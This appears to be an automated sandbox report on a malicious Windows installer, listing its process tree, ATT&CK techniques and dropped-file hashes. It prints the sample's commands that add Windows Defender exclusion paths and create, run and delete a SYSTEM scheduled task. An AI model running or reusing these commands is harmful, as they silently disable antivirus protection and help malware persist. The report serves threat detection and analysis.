C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3928
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3720
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3784
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\UiaERn" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3348 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\UiaERn" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3920
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C:\Windows\system32\cmd.execmd.exe1⤵PID:4132
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4108 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2848
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1708 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4420
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:364 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:3384
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e586dba.rbs
- Size 7KB
- SHA256 3c2429379815912de145495585c2989531e3396985ea40764b01c00f60678f72
- MD5 432d4ba086780c4620e98e7d0c14918f
- SHA1 ad6377d275a20408c44685df7db6f7da11e2c14b
- SHA512 b08c21774e7b932c1075a6e8b75da1a0e79bb570e8374fc0b4449b70c8575e93a42f7f6f4888c495799a3958a04e825f0af56cd840eef0792a2975a4f895068c
- SSDEEP 96:VVHP6b4uu1e21xUUjdH021CsThqK/UjdH021C6jdAsDThqKjHYIK5RPWELEyE/Y4:VVvU4eqzxU2IIBsxU2ISBIHtI53Kp0
- TLSH T14EF1FF46B60481E2F9977731CF271B263BB3D3E49314630B0ADE84749E4738D6EA619E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\UiaERn\2gylkQ.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\UiaERn\UxEnhance64.dll
- Size 3.1MB
- SHA256 61dd3c721e7d08d5efd52eef76dd3f7d1ceb85b1770b6a287219bdd5c1880879
- MD5 54015f4e9c72096378dedf3b40907a4b
- SHA1 5956a0c55850cf9b6eb50c49c53d09a89f5a5e02
- SHA512 207b006d6af7135013e236c72d6d7ebf17f6581bca56c12d913b82b66fae8e1f4b13efd3da4578c80e6c239d38402141ddfb69bd154ef838e48c66941000ceb9
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+g:P9m29xx3Tiqt06ox6+z2rNNrKog
- TLSH T135E523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\UiaERn\adoresd.dat
- Size 4.8MB
- SHA256 a900db9870c800b00d6049bc45cb00c5997c8791447ddb159463fbaa2b527a81
- MD5 3f44644c6297df3855b8bcdb70735e26
- SHA1 657e377bbdd264d9fa4a9f5b21e7c3aeac8d46a4
- SHA512 526aee6a417c01456200a126cb65a92121757e3c15ff2e2dbfb616fcabb19b632dd0f4965624db14edbb5586012f8e60b1fe5663ece9c514e8d02319cc66b2e4
- SSDEEP 98304:luZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:eQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T1CB363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\UiaERn\msadox.tb
- Size 8KB
- SHA256 e2eeb4d0058e7b2db55c0af963ad83af62f97b556128b3915ec6de8a71f3d2f6
- MD5 19f364ed42ea79f2aa2e8bbc402c3376
- SHA1 0ba9ee3736015214233cd224f8b434aaed142435
- SHA512 4aa55ff200d2a8bef2be03cae4255e24eac8c4e3aea9017c532451bf6182a60df0867e01eebbf1ecbf56168f92f4aabf72d765086f65f12e41c7d29a804e123d
- SSDEEP 192:LqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:LsZqZOXQ3uqvR2Kfzp
- TLSH T1D8029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI6F8F.tmp
- Size 7.7MB
- SHA256 8e94f1b2fd82b6e354f845b45782f03202b1decdf3f32b7a6446cae4e7ac1ecc
- MD5 8aaa198a3b56c0fc2a60bbdbd96ec7f4
- SHA1 2eefab634264d8574b8aa75336b0b779de76f644
- SHA512 d75cf8bbb296659b67ea9249aa7d12cacd8d0cb7b7f0aa6555263b2635441877f5cea311a3d251bd02cbed69068e06d61cd0f52aede3c23cf201d90aae082f05
- SSDEEP 196608:weAG43NM5TGvnbQvQ3DyB0gqqBjer7sR1hvBmSC0ETfnuI8KhonQWDw:DAGiNMwnbQvQTyhvj2ALhve0ETWI8KhP
- TLSH T1018633C2BCC633F4D597C3F88593A8BEBD597386FA534CD76AC468201E4321A6A79704
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e586db9.msi
- Size 7.7MB
- SHA256 04cb55def06575674baea096ecfa16bda68219b51c4dad924fbcc3f63c939706
- MD5 6cd2c49301c181ea69827c16758753bd
- SHA1 2065401f477d6b1fdfeb5a12c30c2fbf1b670aef
- SHA512 8dafb0a3dea106fcb020c151bfc909516a6dbe9b6dc0dec616d7f5e64e2af80f419c988a8f03b848b8fb24e1bf2254b1662e728fbb88c4f7218485d128116f16
- SSDEEP 196608:seAG43NM5TGvnbQvQ3DyB0gqqB9er7sR1hvBmSC0ETfnuI8KhonQWDY:nAGiNMwnbQvQTyhv92ALhve0ETWI8Khl
- TLSH T1F78633C2BCC133B0D597C3F48593A8BEBD687F45FA524C976AC478241E7322A2A76714
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 4e5a6d067ca495475664f0f3dc2c8f51cb947a0317a424a6b595e53298722989
- MD5 97afbdea40d51bb5902a085a38af8c4d
- SHA1 ae9afbb785fd993174c7cdccfc2f47a80a321351
- SHA512 2ba137b68935d81eeb9eb36cee175152108a2d040e614bb7ec857b8e93aa6628c7e59ec9d00ca216dc2633966be93443cc757c3705c60e556ebe53d8291ad891
- SSDEEP 24576:zu8m+1z4doO/vvTLbWzuGWKHiakzLlzi/FW9R8iF7kaiu0qOIPlqr1YRG:w
- TLSH T10747D42832F92210E7F79F3C68F0AA2749397D579C19DE8D45411F4E0921BB1E8B2F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{73216430-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{58aa26b7-c7fe-4100-b5b3-1c9159fbe68a}_OnDiskSnapshotProp
- Size 6KB
- SHA256 e39d9c9902e1d583f41702294a0e5d74f0e126684cc0ae304d7ff792ccb36cf2
- MD5 1ab880766bd57cc00358321b114b01e5
- SHA1 5f92686387f46556542015eb54e4f37980634ee6
- SHA512 33a11fc5590743cbd0d249691c8ec30bef815c55131d987fb8386ce8e80e40ed27adf06a4ccc887f7ebb29e7c6330d7e831065f7445fc94ce5427ad144de0d83
- SSDEEP 96:FEDEhdjZyvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:WEdZIb++ZVm
- TLSH T119D199185AF54311E2B3AB3229F18557A877B911EF33CB8E0198238E6670914F876F5F
- MD5 SHA1 SHA512 SSDEEP TLSH